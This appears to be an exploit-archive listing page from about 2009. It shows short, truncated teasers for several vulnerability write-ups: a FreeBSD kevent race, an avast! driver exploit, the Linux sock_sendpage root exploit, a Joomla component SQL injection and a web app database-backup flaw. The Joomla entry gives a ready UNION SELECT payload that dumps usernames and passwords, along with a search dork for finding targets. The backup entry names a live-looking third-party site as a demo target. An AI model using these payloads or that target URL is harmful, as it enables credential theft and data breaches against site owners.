FreeBSD <= 6.1 suffers from classical check/use race condition on SMP
systems in kevent() syscall, leading to kernel mode NULL pointer
dereference. It can be triggered by spawning two threads:
1st thread looping on open() and close() syscalls, and the 2nd thread
looping on kevent(), trying to add possibly invalid filedescriptor.
The bug was fixed in 6.1-STABLE, just before release [...]

Continue reading...

#include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
/*
Program : avast! 4.8.1335 Professionnel
Homepage : http://www.avast.com
Discovery : 2009/07/29
Author Contacted : 2009/07/31
Found by : Heurs
This Advisory [...]

Continue reading...

*********************************************************************
Joomla Component com_digifolio 1.52 (id) SQL Injection Vulnerability
*********************************************************************
–==[ Author ]==–
[+] Author : v3n0m
[+] Contact : v3n0m666[at]live[dot]com
[+] Blog : http://0wnage.wordpress.com/
[+] Group : YOGYACARDERLINK
[+] Site : http://yogyacarderlink.web.id/
[+] Date : August, 27th 2009 [INDONESIA]
*********************************************************************
–==[ soft Info ]==–
[+] Software : DigiFolio Component
[+] Version : 1.52
[+] Vendor : http://www.uwix.nl/testcase/
[+] License : GPL
[+] Vulnerable : SQL Injection
[+] Google Dork : inurl:”com_digifolio”
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[-] Exploit:
[+] /**/and/**/1=2/**/union/**/select/**/1,2,group_concat(username,char
(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/from/**/jos_users–

[-] SQLi [...]

Continue reading...

/*
**
** 0×82-CVE-2009-2692
** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver)
** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x.
**
** –
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** spender and venglin’s code is very excellent.
** Thankful to them.
**
** Greets: Brad Spengler <spender(at)grsecurity(dot)net>,
** [...]

Continue reading...

:::::::::::::::::::::::::::::::::::::::
found by alnjm33
my site : http://sec-war.com/cc/
mail:alnjm33(at)hotmail.com
::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::Re: asaher pro v1.0.4 Remote Database Backup Vulnerability:::::::::::::::::::::::::::
expolit:
/path/admin/admin_backup.php <<< you will downlaod the database
view demo
http://daralyamama.com/news/admin/admin_backup.php
::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Special Thanks : all sec-war.com members

Continue reading...